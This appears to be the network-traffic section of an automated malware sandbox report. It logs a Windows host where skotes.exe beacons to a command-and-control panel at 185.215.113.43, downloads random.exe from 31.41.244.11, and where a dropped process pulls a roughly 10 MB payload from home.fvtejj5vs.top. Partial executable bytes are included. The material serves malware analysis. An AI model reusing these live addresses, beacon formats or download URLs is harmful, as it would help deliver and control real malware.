Nov 18, 2024 19:05:24.060601950 CET	192.168.2.5	1.1.1.1	0xf2d0	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 19:04:18.260119915 CET	1.1.1.1	192.168.2.5	0x45b3	No error (0)	home.fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:27.380001068 CET	1.1.1.1	192.168.2.5	0xa114	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:27.380001068 CET	1.1.1.1	192.168.2.5	0xa114	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:46.648464918 CET	1.1.1.1	192.168.2.5	0xc1e1	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:46.648606062 CET	1.1.1.1	192.168.2.5	0x9b8f	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 19:04:52.377434015 CET	1.1.1.1	192.168.2.5	0xc49e	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:52.397094965 CET	1.1.1.1	192.168.2.5	0x3eb4	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:54.319139004 CET	1.1.1.1	192.168.2.5	0xf77c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:04:54.319139004 CET	1.1.1.1	192.168.2.5	0xf77c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:54.328474998 CET	1.1.1.1	192.168.2.5	0xa828	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:54.357467890 CET	1.1.1.1	192.168.2.5	0x49ff	No error (0)	youtube.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:54.358371973 CET	1.1.1.1	192.168.2.5	0x959	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:54.377465010 CET	1.1.1.1	192.168.2.5	0xe1c5	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 19:04:54.377624035 CET	1.1.1.1	192.168.2.5	0x4483	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 18, 2024 19:04:55.200227976 CET	1.1.1.1	192.168.2.5	0x9281	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:55.200227976 CET	1.1.1.1	192.168.2.5	0x9281	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:55.200516939 CET	1.1.1.1	192.168.2.5	0x6fd	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:55.270587921 CET	1.1.1.1	192.168.2.5	0x1915	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:04:55.270587921 CET	1.1.1.1	192.168.2.5	0x1915	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.007138968 CET	1.1.1.1	192.168.2.5	0x23c9	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.010749102 CET	1.1.1.1	192.168.2.5	0x1957	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:04:56.010749102 CET	1.1.1.1	192.168.2.5	0x1957	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.014327049 CET	1.1.1.1	192.168.2.5	0x6cc9	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:04:56.014327049 CET	1.1.1.1	192.168.2.5	0x6cc9	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.020685911 CET	1.1.1.1	192.168.2.5	0x61c5	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.032430887 CET	1.1.1.1	192.168.2.5	0x38f6	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:56.032568932 CET	1.1.1.1	192.168.2.5	0xc7c6	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:58.495887995 CET	1.1.1.1	192.168.2.5	0xead1	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:04:58.495887995 CET	1.1.1.1	192.168.2.5	0xead1	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:04:58.495887995 CET	1.1.1.1	192.168.2.5	0xead1	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:58.507951975 CET	1.1.1.1	192.168.2.5	0x9aca	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:04:58.522541046 CET	1.1.1.1	192.168.2.5	0x8017	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 19:04:59.424751997 CET	1.1.1.1	192.168.2.5	0xc0f9	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:04:59.424751997 CET	1.1.1.1	192.168.2.5	0xc0f9	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:05:11.369937897 CET	1.1.1.1	192.168.2.5	0xffd2	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:11.370079041 CET	1.1.1.1	192.168.2.5	0x5657	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:11.370079041 CET	1.1.1.1	192.168.2.5	0x5657	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:11.370079041 CET	1.1.1.1	192.168.2.5	0x5657	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:11.370079041 CET	1.1.1.1	192.168.2.5	0x5657	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:05:11.380696058 CET	1.1.1.1	192.168.2.5	0xe0f2	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:11.380696058 CET	1.1.1.1	192.168.2.5	0xe0f2	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:11.788348913 CET	1.1.1.1	192.168.2.5	0xb489	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:11.788348913 CET	1.1.1.1	192.168.2.5	0xb489	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:11.788348913 CET	1.1.1.1	192.168.2.5	0xb489	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:05:12.005784035 CET	1.1.1.1	192.168.2.5	0xdce4	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Nov 18, 2024 19:05:12.005820036 CET	1.1.1.1	192.168.2.5	0xcabd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 19:05:19.376074076 CET	1.1.1.1	192.168.2.5	0x5fc9	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:19.377505064 CET	1.1.1.1	192.168.2.5	0x3c3b	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:24.068080902 CET	1.1.1.1	192.168.2.5	0xf2d0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 19:05:24.068080902 CET	1.1.1.1	192.168.2.5	0xf2d0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49955	185.215.113.43	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:04.348856926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 19:04:05.272851944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49970	185.215.113.43	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:06.788753986 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 34 32 37 37 34 42 31 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B42774B15882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 18, 2024 19:04:07.709361076 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 32 31 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 32 31 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 32 31 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 32 31 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007211001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007212001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007213001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007214001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007215001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49977	31.41.244.11	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:07.723498106 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 18, 2024 19:04:08.631367922 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:08 GMT Content-Type: application/octet-stream Content-Length: 4362752 Last-Modified: Mon, 18 Nov 2024 17:32:37 GMT Connection: keep-alive ETag: "673b7a35-429200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 60 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 b8 00 00 04 00 00 65 fd 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 dc 4b b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 4b b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2`H@eB@ _pesKK Pel'@.rsrc `e\|'@.idata pe\|'@ 7e~'@yeceswnp`'@mwuundvqPlB@.taggant0`"pB@
Nov 18, 2024 19:04:08.631484032 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:08.631524086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:08.632159948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 19:04:08.632194996 CET	1236	IN	Data Raw: dc 51 49 a3 96 c2 41 59 a9 3c 04 5e fd 91 7c bb f8 9d 7c 90 81 c4 0e de ac b6 cf d8 05 4a 19 6d f5 79 2a f4 a4 89 26 fc f9 ae 3b c4 e4 51 73 ca 57 4a 5e c7 95 c4 fc 5a e9 c3 00 94 e9 c8 78 3b d4 5c 89 f9 b8 ab 07 12 70 01 16 94 10 c3 af cd 11 24 Data Ascii: QIAY<^\|\|Jmy*&;QsWJ^Zx;\p$,>47@4@[i}k!mM1"Fh@3`:4@0Z:"EB&?.DE8b$ };@@HyY0atbLu
Nov 18, 2024 19:04:08.632895947 CET	1236	IN	Data Raw: cb 30 a0 cd 12 ef cd de 07 0c 60 6f 62 23 0b d2 06 a4 f6 9b 89 c0 44 56 12 8a 56 3d dc e0 e1 ae ea b5 e0 0a ad 9e fd 74 1f 8e c4 9a 8a 96 44 0f 02 25 ec 6e 0b 6d fa 3f 75 a4 95 90 ce 08 15 f3 ba ec 2e bf 43 b4 ec ac 26 46 45 93 ac 5c dc 81 df 77 Data Ascii: 0`ob#DVV=tD%nm?u.C&FE\wB,$3,h)iW@'!b>Xi2?a,uTa$fX7AJ~<tYWyVApP(7qMj2:\
Nov 18, 2024 19:04:08.632930994 CET	1236	IN	Data Raw: 32 c0 2c 40 46 20 df bb af b1 cf bc 54 83 04 ef d0 d8 15 f8 42 4b bc ad 6b 6e b3 59 d9 33 c7 0a 8d cf 3f e9 50 ea 29 4c 19 34 6b c6 bc ee 6a 9f cc 53 0f e7 96 9d 4f ef 1a 70 c0 9e 50 e8 af fc 9c df 47 f5 75 04 1f 23 af e8 28 bf 5f 80 c6 2a 76 d0 Data Ascii: 2,@F TBKknY3?P)L4kjSOpPGu#(_*vdT7^Xt&D2[bG+l-D4pfB\|;c=Vz>K.@'L$Y!hs8@8I[2=um+i4,:@
Nov 18, 2024 19:04:08.632958889 CET	36	IN	Data Raw: 55 7d 60 0b cd 91 5e 4c 31 15 28 36 3f e5 d1 9d 9a ca 85 88 92 e0 33 37 d3 6f 7c 47 9d ad 85 1e ff 5f b1 dc Data Ascii: U}`^L1(6?37o\|G_
Nov 18, 2024 19:04:08.633553982 CET	1236	IN	Data Raw: ec 9f 66 95 40 b7 41 c6 2e d1 9f 37 8c a9 37 26 87 67 c1 1e 14 a3 8a 54 27 19 29 4b e4 65 0a 81 82 c0 78 84 2a 14 7f fc 10 c1 d0 40 08 8e 8b d9 47 88 cc 0d e9 ae f5 17 48 0f f0 77 1c ae 4c 41 ff 29 24 f5 14 cb 9b 74 b5 9b a7 f3 2e 6c 8e f2 ef 2f Data Ascii: f@A.77&gT')Kex@GHwLA)$t.l/^cr,hSFf%To!N(H#%Qa?FxC;K?KF=yZq7ZG<f?htmG=C{[zD;w#K
Nov 18, 2024 19:04:08.633589983 CET	1236	IN	Data Raw: 8e 61 dc 98 c0 c9 3a 96 76 9b d3 29 05 c8 c1 cb 69 20 db 12 1e 5a 57 a8 31 d7 d0 e9 91 d4 2c 8f 9e 19 17 c4 21 d1 dd 4f 15 12 b4 52 a8 e6 1f 99 11 e0 5e f7 c9 a6 d4 0c fb d5 11 fb bc 05 f7 88 7c 90 3c 81 71 d3 5c cd c1 93 18 2f 22 01 82 98 38 2f Data Ascii: a:v)i ZW1,!OR^\|<q\/"8/M2?'ta!/k2w<5BU$9.%4@X/K-D/j18bB}]3FO']r=3+ihIJ0uZ;pl?*
Nov 18, 2024 19:04:08.636672020 CET	1236	IN	Data Raw: 9a 5a c6 12 88 b5 da e2 1b 8e bc dc f7 f7 42 f7 a1 b5 df ba ed 90 aa bc 1e 8b cd 49 a5 cc 21 3b 02 d8 02 7c 9b 4f a5 e2 a9 88 2f 63 29 1d a5 3b 70 f4 63 62 4d 24 50 5f 12 4d 90 5f 7d 63 f0 ce 9f d7 45 88 29 6b af ac 2d 99 c6 76 bc 06 53 7b 17 01 Data Ascii: ZBI!;\|O/c);pcbM$P_M_}cE)k-vS{(2ZcCMT<gIPUt~Fc+Wa$7e\4_<5NN;[ZW4}\|NgXD@.?-Xhj]Gg+(4-M9OAyPe>`_@s;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49978	185.215.113.43	80	7628	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:17.971436977 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007211001&unit=246122658369
Nov 18, 2024 19:04:18.893140078 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 18:04:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49979	62.76.234.151	80	7860	C:\Users\user\AppData\Local\Temp\1007211001\e5323e2eed.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 19:04:18.268624067 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 18, 2024 19:04:19.628498077 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 18 Nov 2024 18:04:19 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 18, 2024 19:04:19.628515959 CET	212	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL
Nov 18, 2024 19:04:19.628650904 CET	1236	IN	Data Raw: 11 39 9f 7e 7f 8d 16 97 05 0a 25 a4 c7 10 6b c2 9f f9 a7 a4 89 e5 c1 96 6b 49 af 33 c0 f4 2f b5 f2 4f ec 13 a2 93 29 5b 5a 07 4b 7c cc b9 45 cc 62 3b c4 f5 6f ca 0f fa 12 e9 62 cb aa be 08 cb 0c 54 df 37 24 29 22 9d 38 f7 f2 38 e8 c3 68 d3 63 4d Data Ascii: 9~%kkI3/O)[ZK\|Eb;obT7$)"88hcM^Q#{yq3B\|W/)1<v}:./dA(oRBZkWH,Fypr6&0.}.tWfl#J4@y^ST%kQb.o:J,rr\
Nov 18, 2024 19:04:19.628812075 CET	212	IN	Data Raw: 4c 02 37 d9 3d 07 d1 9d 61 11 8d 96 d6 0d db 40 d1 68 aa 97 8e 36 9a 11 93 5c d5 35 30 23 bf 4d a3 4e f3 a8 35 ca 12 56 f6 d8 91 d4 74 a3 8b b3 7d 80 49 88 1d 44 48 6a cb 0c 26 5a 38 b9 54 a9 e2 07 29 8a 2a c2 de 6f df 94 df dd 15 ef 09 30 f8 0e Data Ascii: L7=a@h6\50#MN5Vt}IDHj&Z8T)*o0OosJ\|/0BbQ'!j/f5}Iz60Dq)lrl ]]tp=+sIphl__k
Nov 18, 2024 19:04:19.815363884 CET	1236	IN	Data Raw: 3f 61 a4 e8 11 37 59 2e 4b 66 a9 69 fa 39 0f 32 0b 60 bf be 73 a4 ca 1d 13 13 71 a8 01 6e b3 d1 34 43 18 8f 49 c6 b3 06 92 e6 19 06 20 87 d0 70 43 79 f0 0e 5c 6f 43 a3 ab f3 a8 9a f0 a7 91 95 72 cc 26 eb 13 1f e8 3d 1b 1d 5b 1f 2d a3 a1 96 4f ff Data Ascii: ?a7Y.Kfi92`sqn4CI pCy\oCr&=[-Om!v6/>P,bFOZ'$(XyEnCW6MO4On/>rB^)C^x;vE`IEo-&3yK)z,a5(p=4K!(
Nov 18, 2024 19:04:19.815378904 CET	1236	IN	Data Raw: 13 d9 fd 05 30 2b 6b f2 45 15 a8 0f 6b f0 d1 a7 b5 88 9f 63 99 57 05 54 90 5d 41 f4 e0 79 01 a3 1c b0 c6 53 53 7b 68 d1 f9 21 29 c8 b3 5a f7 7e 0f 40 fb ea 6a d4 1e 85 63 76 3d fa 0c ad 53 c7 5f bf 20 8c e6 b5 a5 ea 95 99 74 9f ba f3 d4 19 d1 0c Data Ascii: 0+kEkcWT]AySS{h!)Z~@jcv=S_ tgW$#f,Sd[s9cRzdMt@Z6AUQ,B$Xau#f}#(&Wx-rPf+s.KDzBd#C"Im,sbp"\|I
